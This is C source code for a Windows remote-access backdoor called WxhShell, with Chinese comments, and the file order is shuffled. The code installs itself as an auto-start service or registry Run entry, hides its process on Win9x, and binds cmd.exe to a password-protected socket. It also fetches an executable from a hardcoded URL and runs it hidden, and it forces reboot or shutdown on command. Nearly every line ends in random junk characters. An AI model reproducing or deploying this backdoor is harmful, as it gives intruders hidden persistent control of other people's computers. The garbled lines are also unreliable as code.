    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z[bS soK`  
    else { NZ=`iA8)X  
    closesocket(wsh); &(t/4)IZox  
    ExitThread(0); :$?^ID  
    } i{5,mS&  
    break; 4;.y>~z  
    } 9e>Dqlv  
  // 获取shell \g<=n&S?  
  case 's': { _pe_w{V-b6  
    CmdShell(wsh); zf}X%tp  
    closesocket(wsh); V detY\  
    ExitThread(0); Kb5 YA  
    break; 568qdD`PS  
  } LH]<+Zren  
  // 退出 4g}'/  
  case 'x': { MPI=^rc2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JOvRU DZ  
    CloseIt(wsh); f!n0kXVu6U  
    break; l1MVC@'pvP  
    } /swNhDQ"o  
  // 离开 F,'rW:{HMt  
  case 'q': { ** !  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -T+7u  
    closesocket(wsh); 1w/Ur'8we  
    WSACleanup(); .,$<waGD  
    exit(1); i6y$P6s  
    break; d9kN @W  
        } TEYn^/n~  
  } 4<{]_S6"0y  
  } "0edk"hk  
1YxG<K]  
  // 提示信息 y_e$W3bON,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p ! _\a  
} P/hV{@x  
  } *dw6>G0U  
 s%c>Ge  
  return; eG05}  
} ~vMdIZ.h  
_I1:|y  
// shell模块句柄 +dgHl_,i  
int CmdShell(SOCKET sock) b!J%s   
{ zXRq) ;s  
STARTUPINFO si; swGp{wJ  
ZeroMemory(&si,sizeof(si));  o<Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d$}z,~sN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $wBF'|eU  
PROCESS_INFORMATION ProcessInfo; t6JM%  
char cmdline[]="cmd"; 2@~hELkk/E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !i{9wI  
  return 0; fKYR DGn  
} O"6 (k{`  
l1?$quM^V  
// 自身启动模式 _hz}I>G@B  
int StartFromService(void) 1;8%\r[|5^  
{ R5KOai!  
typedef struct Vw>AD<Rl  
{ tzn+ M0'  
  DWORD ExitStatus; {k"t`uo_  
  DWORD PebBaseAddress; f}%paE"  
  DWORD AffinityMask; %/:0x:ns  
  DWORD BasePriority; V }?MP-.c  
  ULONG UniqueProcessId; )4tOTi[  
  ULONG InheritedFromUniqueProcessId; ^_rBEyz@  
}   PROCESS_BASIC_INFORMATION;  'K7m!y  
;if PqL kO  
PROCNTQSIP NtQueryInformationProcess; \a7caT{  
wS"`~Ql_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 49?wEm#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :Q-QY)hH  
S8Ec.]T   
  HANDLE             hProcess; dWK"Tkf\  
  PROCESS_BASIC_INFORMATION pbi; mNk@WY_F  
1&.q#,EMn(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f'WRszrF  
  if(NULL == hInst ) return 0; @yj$  
"pInb5F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m<liPl uv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >.o<}!FW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kE`Fg(M  
s$D"  
  if (!NtQueryInformationProcess) return 0; # H)\ts  
3o^~6A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IDK~ (t  
  if(!hProcess) return 0; F(DM$5z[  
9~5LKg7Ac  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o5;|14O  
dIq*"Ry+~  
  CloseHandle(hProcess); !~_6S*~  
qF3s&WI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qp{3I("_  
if(hProcess==NULL) return 0; j^)=<+Q;=  
S[5OTwa8L  
HMODULE hMod; E@J}(76VS  
char procName[255]; oH"VrS 6  
unsigned long cbNeeded; 044Q>Qz,  
@ QfbIP9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P/,ezVb=  
qE*hUzA  
  CloseHandle(hProcess); 7TB&Q*Zf  
E4N"|u|   
if(strstr(procName,"services")) return 1; // 以服务启动 XYze*8xUb  
^ ~kfo|  
  return 0; // 注册表启动 4K0Fc^-  
} Im"8+756  
Q6$^lRNOpk  
// 主模块 x }.&?m  
int StartWxhshell(LPSTR lpCmdLine) jP31K{G?  
{ Zjn![  
  SOCKET wsl; #SR )tU  
BOOL val=TRUE; 30{+gYA  
  int port=0; J?/NJ-F  
  struct sockaddr_in door; ^0(`:*  
i;<K)5Z  
  if(wscfg.ws_autoins) Install(); &\W5|*`x-  
:v%iF!+.P  
port=atoi(lpCmdLine); iUq{c+h  
I3A xK A  
if(port<=0) port=wscfg.ws_port; asL!@YE  
rU_FRk  
  WSADATA data; g+QNIM>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1>)uI@?Rb  
(AT)w/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b4CXif  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9=9R"X>L  
  door.sin_family = AF_INET; 6#Bg99c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?jn";:  
  door.sin_port = htons(port); _/5xtupxE  
BFPy~5W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lTJM}K  
closesocket(wsl); eo<=Q|nI&  
return 1; @O| l A  
} fvM|Jb  
2l}3L  
  if(listen(wsl,2) == INVALID_SOCKET) { fH 0&Wc3yC  
closesocket(wsl); k-8$ 43  
return 1; \SA$:^zO  
} x<>In"QV  
  Wxhshell(wsl); 2rqYm6  
  WSACleanup(); h"(HDnq  
TN.&FDqC9  
return 0; '+iqbcUd,  
4Dv42fO  
} vL Qh r&I  
^:]~6p#  
// 以NT服务方式启动 ' 4 Kf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gg QI  
{ #6za  
DWORD   status = 0; ek]CTUl*  
  DWORD   specificError = 0xfffffff; qW t 9Tr  
H:`[$ ^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Gu\lV c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BCw0kq@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y 9~z7  
  serviceStatus.dwWin32ExitCode     = 0; -\~D6OA  
  serviceStatus.dwServiceSpecificExitCode = 0; >TwL&la  
  serviceStatus.dwCheckPoint       = 0; |d=MX>i|G  
  serviceStatus.dwWaitHint       = 0; I~NQt^sg  
Uv(Uj3D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7VKTI:5y  
  if (hServiceStatusHandle==0) return; \7A6+[ `fa  
(ZHEPN  
status = GetLastError(); IQQWp@w#8  
  if (status!=NO_ERROR) VD-2{em  
{ s9b 6l,Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "ju0S&  
    serviceStatus.dwCheckPoint       = 0; tJ@5E^'4  
    serviceStatus.dwWaitHint       = 0; X00!@ ^g  
    serviceStatus.dwWin32ExitCode     = status; .+Fh,bNYK  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'U3+'du^8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); psZ #^@>mJ  
    return; FT.;}!"l  
  } K(B|o6[  
7cMSJM(]G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XhxCOpO  
  serviceStatus.dwCheckPoint       = 0; 4]3(Vyh`  
  serviceStatus.dwWaitHint       = 0; i& ybvTl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pt+[BF6P  
} uQlQ%n%  
`+O7IyTM A  
// 处理NT服务事件,比如:启动、停止 T?'Vb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9Lv"|S`5W_  
{ +$H`/^a.  
switch(fdwControl) Zqnwf  
{ x)Ls(Xh+g  
case SERVICE_CONTROL_STOP: v\:P _J  
  serviceStatus.dwWin32ExitCode = 0; ,wE cRN w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f/6,b&l,  
  serviceStatus.dwCheckPoint   = 0; zVU{jmS  
  serviceStatus.dwWaitHint     = 0; ~i y]X:U  
  { %\2w 1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a@&P\"k  
  } ;VAHgIpx;  
  return; ~E tW B  
case SERVICE_CONTROL_PAUSE: H~Fb=.h]U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QBI;aG<+b>  
  break; EFNi# D8s  
case SERVICE_CONTROL_CONTINUE: l4+Bs!i`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nVt,= ?_ U  
  break; aEW sru  
case SERVICE_CONTROL_INTERROGATE: O>H'o k  
  break; lEe<!B$d"  
}; 1SGLA"r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3EN(Pz L  
} wfXm(RYM  
vz-O2B_u  
// 标准应用程序主函数 <//#0r*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FELDz7DYya  
{ m<X[s  
#{BHH;J+  
// 获取操作系统版本 qXw^y  
OsIsNt=GetOsVer(); iYk4=l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Dxlpo! ?#  
*VPj BzcH  
  // 从命令行安装 Y3QrD&V  
  if(strpbrk(lpCmdLine,"iI")) Install(); -)p S\$GC  
EkvTl-  
  // 下载执行文件 }pMd/|A,  
if(wscfg.ws_downexe) { L" GQ Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _vV3A3|Ec,  
  WinExec(wscfg.ws_filenam,SW_HIDE); =h Lw 1~  
} 74p=uQ  
vk&6L%_~a  
if(!OsIsNt) { G)G 257K"~  
// 如果时win9x,隐藏进程并且设置为注册表启动 R#^.8g)t  
HideProc(); !|#W,9  
StartWxhshell(lpCmdLine);  e#t7  
} W:gpcR]>  
else s9)U",  
  if(StartFromService()) 4Nun-(q  
  // 以服务方式启动 :+q d>;yf#  
  StartServiceCtrlDispatcher(DispatchTable); nR(v~_y[V  
else ni gn" r  
  // 普通方式启动 $"P[nNW3  
  StartWxhshell(lpCmdLine); l3O!{&~K  
psFY=^69o  
return 0; aVvma=  
} cM hBOm*  
d^(7\lw|  
!jTtMx  
PptVneujI  
=========================================== 5w+KIHhN|  
31^Jg  
/f}!G  
=f/CBYNw@V  
VchI0KL?  
?l9j]  
" .US=fWyrb  
L}a-c(G+8  
#include <stdio.h> v6 C$Y+5~  
#include <string.h> qeUT]* w  
#include <windows.h> tP][o494\&  
#include <winsock2.h> YWFq&II|Z  
#include <winsvc.h> -^aJ}[uaI  
#include <urlmon.h> \'Q rJ ?D  
, UsY0YC  
#pragma comment (lib, "Ws2_32.lib") (hJ&`Tt  
#pragma comment (lib, "urlmon.lib") "P9(k>  
[} zzG@g,J  
#define MAX_USER   100 // 最大客户端连接数 l+A)MJd oj  
#define BUF_SOCK   200 // sock buffer r@a]fTf  
#define KEY_BUFF   255 // 输入 buffer 7 'q *(v  
2O 2HmL  
#define REBOOT     0   // 重启 @9tzk [  
#define SHUTDOWN   1   // 关机 = ;cTm5d;T  
|z7V1xF  
#define DEF_PORT   5000 // 监听端口 4iI4+  
BPuum  
#define REG_LEN     16   // 注册表键长度 hYht8?6}m  
#define SVC_LEN     80   // NT服务名长度 g\% Z+Dc  
"g,`Ks ];  
// 从dll定义API [=BccT:b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w^"IR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZZn$N-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4_`(c1oA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2 EWXr+IU.  
Y b=77(Q V  
// wxhshell配置信息 M#_|WL~  
struct WSCFG { 'u:-~nSX)  
  int ws_port;         // 监听端口 g<N;31:c\  
  char ws_passstr[REG_LEN]; // 口令 ]rG/?1'^i  
  int ws_autoins;       // 安装标记, 1=yes 0=no .P <3+  
  char ws_regname[REG_LEN]; // 注册表键名 ^TtL-|I  
  char ws_svcname[REG_LEN]; // 服务名 5a-x$Qb9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N=PSr4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g/FZ?Wo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {h=gnR-9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9Pb6Z}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [!De|,u(^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j4<K0-?  
n y cn  
}; Pa6pq;4St  
Mf2F LrAh  
// default Wxhshell configuration egvb#:zW?  
struct WSCFG wscfg={DEF_PORT, ! ,bQ;p3g|  
    "xuhuanlingzhe", CLTkyS)C  
    1, zak|* _  
    "Wxhshell", <PVwf`W.  
    "Wxhshell", Wqkzj^;"G  
            "WxhShell Service", /Kd7# @  
    "Wrsky Windows CmdShell Service", N+ak{3  
    "Please Input Your Password: ", Cs_&BSs  
  1, lxm/*^  
  "http://www.wrsky.com/wxhshell.exe", P}]o$nWT  
  "Wxhshell.exe" [}YUi>NGA  
    }; j.ucv  
{#ynN`tLyF  
// 消息定义模块 {fnx=BaG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 43pe6 ^.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u4_QLf@I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F#>00b{Q  
char *msg_ws_ext="\n\rExit."; 'f!U[Qatg  
char *msg_ws_end="\n\rQuit."; <^\rv42'(2  
char *msg_ws_boot="\n\rReboot..."; {nbT$3=Zt  
char *msg_ws_poff="\n\rShutdown..."; qa-FLUkIk!  
char *msg_ws_down="\n\rSave to "; +ID\u <?  
0:`|T jf_  
char *msg_ws_err="\n\rErr!"; >v%js!`f  
char *msg_ws_ok="\n\rOK!"; wS);KLe3  
~\mh\a&  
char ExeFile[MAX_PATH]; fO$){(]^  
int nUser = 0; K J\kR  
HANDLE handles[MAX_USER]; &s='$a; 4  
int OsIsNt; `Bw]PO  
B ytx.[zbX  
SERVICE_STATUS       serviceStatus; a8f#q]TyQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |82q|@e  
Rh ^(91d  
// 函数声明 54CJ6"q  
int Install(void); FDQ=$w}' >  
int Uninstall(void); vY-CXWC7  
int DownloadFile(char *sURL, SOCKET wsh); *^uK=CH1?(  
int Boot(int flag); '< U&8?S  
void HideProc(void); 1>OlBp  
int GetOsVer(void); A<ds+0  
int Wxhshell(SOCKET wsl); $G-<kC}8:  
void TalkWithClient(void *cs); c1"wS*u  
int CmdShell(SOCKET sock); hhze5_$_  
int StartFromService(void); r*+~(83k  
int StartWxhshell(LPSTR lpCmdLine); Y {^*y  
z.Ic?Wz7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "esuLQC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o{G*7V@H  
w6i2>nu_O  
// 数据结构和表定义 =I`S7oF  
SERVICE_TABLE_ENTRY DispatchTable[] = `Pvi+:6\Y  
{ ^e8xg=8(  
{wscfg.ws_svcname, NTServiceMain}, y#j7vO  
{NULL, NULL} =/Gd<qz3  
}; ,*J@ic7"  
$6a9<&LP_  
// 自我安装 f6%k;R.Wz  
int Install(void) Q>,&@  
{ gsbr8zwG,  
  char svExeFile[MAX_PATH]; In1W/ ?  
  HKEY key; &VGV0K3 Dp  
  strcpy(svExeFile,ExeFile); ~.: { Ik]  
1.du#w  
// 如果是win9x系统,修改注册表设为自启动 lxyTh'  
if(!OsIsNt) { pi?/]}:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QPVi& *8_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J"C9z{[Z&  
  RegCloseKey(key); a;xeHbE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I=kqkuW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #<xFO^TB  
  RegCloseKey(key); c["1t1G  
  return 0; x4I!f)8Q  
    } /o9it;  
  } #yochxF_  
} G}8tFo. d1  
else { yv4x.cfI2W  
l zFiZx  
// 如果是NT以上系统,安装为系统服务 gy}3ZA*F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,Vi_~b  
if (schSCManager!=0) \p(S4?I7  
{ .b,\.0N  
  SC_HANDLE schService = CreateService nnyT,e%  
  ( Gd 4S7JE  
  schSCManager, ;0dH@b  
  wscfg.ws_svcname, #&'S-XE+  
  wscfg.ws_svcdisp, f SkC>mWv  
  SERVICE_ALL_ACCESS, KNeVSZT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }k VC ]+  
  SERVICE_AUTO_START, -s 0SQe{!_  
  SERVICE_ERROR_NORMAL, LA6XTgcu  
  svExeFile, ^aB;Oo  
  NULL, MLV]+H[mt  
  NULL, jWUrw  
  NULL, mfj{_fR3  
  NULL, 0XA\Ag\`G  
  NULL XZOBK^,5^B  
  ); R|RGoGE6g  
  if (schService!=0) 2E-Kz?,:[  
  { 0kUhz\"R:q  
  CloseServiceHandle(schService); f/sz/KC]~  
  CloseServiceHandle(schSCManager); K}cZK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sccLP_#Z  
  strcat(svExeFile,wscfg.ws_svcname); %Ik5|\ob?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NuO@N r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dcrvEc_/  
  RegCloseKey(key); ^6 l5@#)w  
  return 0; Aa9l-:R  
    } s>DFAu!  
  } niS\0ZA  
  CloseServiceHandle(schSCManager); cUug}/!I  
} ikZYc ${  
} S_sHwObFu|  
!S<p"   
return 1; CRo @+p10  
} k x:+mF  
S8v,' Cc  
// 自我卸载 ar@,SKU'K  
int Uninstall(void) |~76dxU  
{ b|87=1^m[  
  HKEY key; m<n+1  
}D1? Z7p  
if(!OsIsNt) { s[4qC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {v!w2p@  
  RegDeleteValue(key,wscfg.ws_regname); T7qp ({v?Q  
  RegCloseKey(key); XyB_8(/E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .P8m%$'N  
  RegDeleteValue(key,wscfg.ws_regname); ~e|E5[-i  
  RegCloseKey(key); "X<V>q$0~c  
  return 0; xz`0V}dPl  
  } ~p+ `pwjY1  
} r6D3u(kMb  
} +^J&x>5  
else { aAcQmq TT  
nVpDjUpN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Nl4uQ_"  
if (schSCManager!=0) rhF2U  
{ L]YJ#5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Eb,M+c?  
  if (schService!=0) /?>W\bP<  
  { 2x gk$E$7  
  if(DeleteService(schService)!=0) { 7LaRFL.,kO  
  CloseServiceHandle(schService); D!,'}G #  
  CloseServiceHandle(schSCManager); DW,Z})9  
  return 0; 6=%\@  
  } ;Zf7|i`R3  
  CloseServiceHandle(schService); G~zfPBN0D  
  } :MYLap&L&  
  CloseServiceHandle(schSCManager); 4tkb7D q  
} lNe5{'OrO  
} c*w0Jz>@.7  
&w=ul'R98  
return 1; ~Y1nU-  
} ;<MHl[jJD  
aEEb1Y  
// 从指定url下载文件 z3^gufOkQ  
int DownloadFile(char *sURL, SOCKET wsh) ,-n_( U  
{ &i805,lx  
  HRESULT hr; eiA$) rzy  
char seps[]= "/"; >TGc0 z+  
char *token; 8XCT[X  
char *file; A(XX2f!i  
char myURL[MAX_PATH]; U[pR `u  
char myFILE[MAX_PATH]; !(S.7#-r  
`OZiN;*|  
strcpy(myURL,sURL); v/7^v}[<  
  token=strtok(myURL,seps); Ix@nRc'  
  while(token!=NULL) s=R^2;^  
  { T7Y+ WfYh  
    file=token; 16ip:/5  
  token=strtok(NULL,seps); F)aF.'$-/  
  }  u7&5t  
P#:nXc$  
GetCurrentDirectory(MAX_PATH,myFILE); 9+Wf*:*EW  
strcat(myFILE, "\\"); *aYuuRx  
strcat(myFILE, file); &`g^b^i  
  send(wsh,myFILE,strlen(myFILE),0); ~A(^<  
send(wsh,"...",3,0); _GoFwVO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @E> rqI;`  
  if(hr==S_OK) b$/7rVH!  
return 0; 7?y([i\y  
else gd0a,_`M  
return 1; &jrc]  
7Zft]C?|@  
} gP ^A  
|lIgvHgg  
// 系统电源模块 b6""q9S!  
int Boot(int flag) $GD Q1&Z  
{  bIuOB|  
  HANDLE hToken; k]c$SzJ>/  
  TOKEN_PRIVILEGES tkp; ,W$&OD  
~'Korxa  
  if(OsIsNt) { EQy~ ^7V B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OL.{lKJ3DV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %YG[?"P'  
    tkp.PrivilegeCount = 1; - ^>7\]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F~GIfJU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S;u 2B_/  
if(flag==REBOOT) { wk2Ff*&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b:x~Jz#%2  
  return 0; FlT5R*m  
}  ^]?ju L  
else { tcJN`N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M AL;XcRR  
  return 0; mpd?F 'V  
} A(+%DZ  
  } G|z%T`!U1;  
  else { j7J'd?l  
if(flag==REBOOT) { M]SeNYDy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f7&9IW`7F^  
  return 0; pz]! T'  
} y N,grU(  
else { /Edq[5Ah  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _[/#t|I}  
  return 0; W@D./Th  
} +9B .}t#  
} wJh/tb=$o  
r'MA$PiS'  
return 1; Y;k iU  
} xcH&B %;f  
I5ZM U  
// win9x进程隐藏模块 mB"1QtD  
void HideProc(void) Yh; A)N p  
{ 664D5f#EJ  
w YQEm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uc/W/c u,  
  if ( hKernel != NULL ) ,( NN)Oj  
  { ?/8V%PL~$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @4n>I+6*&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wZWAx  
    FreeLibrary(hKernel); <6X*k{  
  } Rx?ze(  
)W&{OMr  
return; R[@}Lg7+v  
} gyuBmY  
lX"6m}~D  
// 获取操作系统版本 qQ 8+gZG$R  
int GetOsVer(void) /i#";~sO  
{ (p<pF].  
  OSVERSIONINFO winfo; gU1Pb]]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KtGbpcS$f  
  GetVersionEx(&winfo); o=Y'ns^a(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bP>Kx-%q  
  return 1; mi[8O$^iJ  
  else Fu 5c_"!  
  return 0; Ih OAMH1  
} -+0kay%  
KC)}M zt6_  
// 客户端句柄模块 +}PN+:yV  
int Wxhshell(SOCKET wsl) d</F6aM\  
{ 'gHg&E9E&  
  SOCKET wsh; Kxg@(Q  
  struct sockaddr_in client; AQmHa2P  
  DWORD myID; 5{ bc&?"  
XK})?LTD  
  while(nUser<MAX_USER) vrcIwCa  
{ (|NCxey  
  int nSize=sizeof(client); PcqS#!t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n 4y]h  
  if(wsh==INVALID_SOCKET) return 1; ambr}+}  
>##Z}auY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i1!1'T8  
if(handles[nUser]==0) um}q@BU  
  closesocket(wsh); LD1&8kJ*l  
else s^K2,D]P  
  nUser++; ?^W1WEBm  
  } 1GqSY|FSGp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MX8|;t  
i;-M8Q^  
  return 0; `G_~zt/  
} aU^6FI  
/;Hr{f jl{  
// 关闭 socket ixSr*+  
void CloseIt(SOCKET wsh) D:f=Z?L)>  
{ p4*L}Q  
closesocket(wsh); .Z  67  
nUser--; +`_0tM1  
ExitThread(0); Cs7ol-\)  
} n\3#69VY  
_OyQ:>M6P  
// 客户端请求句柄 &lLfVa-l  
void TalkWithClient(void *cs) \2 e^x  
{ bd~m'cob>  
a4*976~![  
  SOCKET wsh=(SOCKET)cs; ir/uHN@  
  char pwd[SVC_LEN]; X;N?L%Pp  
  char cmd[KEY_BUFF]; 5af0- hj  
char chr[1]; !*Eu(abD  
int i,j; -1RMyVx  
#79[Qtkrhm  
  while (nUser < MAX_USER) { N)G HQlgH  
V`1{*PrI@L  
if(wscfg.ws_passstr) { bXOKC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O ~6%Iz`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]i@73h YT  
  //ZeroMemory(pwd,KEY_BUFF); OtmDZ.t;`  
      i=0;  d]`6N  
  while(i<SVC_LEN) { |w}j!}u  
X<$Tn60,  
  // 设置超时 ws+'*7  
  fd_set FdRead; vxj:Y'}  
  struct timeval TimeOut; wlJi_)!  
  FD_ZERO(&FdRead); _ERtL5^  
  FD_SET(wsh,&FdRead); rB$~,q&.V  
  TimeOut.tv_sec=8; ]}XDDPbZ}  
  TimeOut.tv_usec=0; t]@>kAA>2L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l|?tqCT ^h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =g9n =spAn  
M7cD!s@'I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c 'wRGMP  
  pwd=chr[0]; ,"(G  
  if(chr[0]==0xd || chr[0]==0xa) { uBx\xeI  
  pwd=0;  pE)NSZ  
  break; qBX_v5pvVA  
  } !SW0iq[7j  
  i++; RI&O@?+U  
    } =J IceLL  
@6>Q&G Yqt  
  // 如果是非法用户,关闭 socket qqf`z,u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !q\=e@j-i  
} LJ/He[r|[  
&/]en|f"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :^3) [.m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M/=36{,w-  
UpGDLbf^  
while(1) { .cHgYHa  
P);s0Y|@H  
  ZeroMemory(cmd,KEY_BUFF); uI7n{4W*x  
MONX&$  
      // 自动支持客户端 telnet标准   OX]$Xdb2:  
  j=0; ?l/6DT>e  
  while(j<KEY_BUFF) { FpRYffT 9u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PlzM`g$A  
  cmd[j]=chr[0]; CvY+b^;  
  if(chr[0]==0xa || chr[0]==0xd) { a.Z@Z!*  
  cmd[j]=0; ca_mift  
  break; ^el+ej/=  
  } Kd5'2"DI  
  j++; z!"vez  
    } }8ubGMr,Y  
2e1KF=N+  
  // 下载文件  p@ ^G)x  
  if(strstr(cmd,"http://")) { n^4R]9U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V%oZT>T3  
  if(DownloadFile(cmd,wsh)) yDafNH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q*3OWr  
  else Q M0B6F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZZT #V%Q=u  
  } }<04\t?  
  else { pmNy=ZXx  
al9wNtMT  
    switch(cmd[0]) { f jx`|MJ  
  I%3[aBz4  
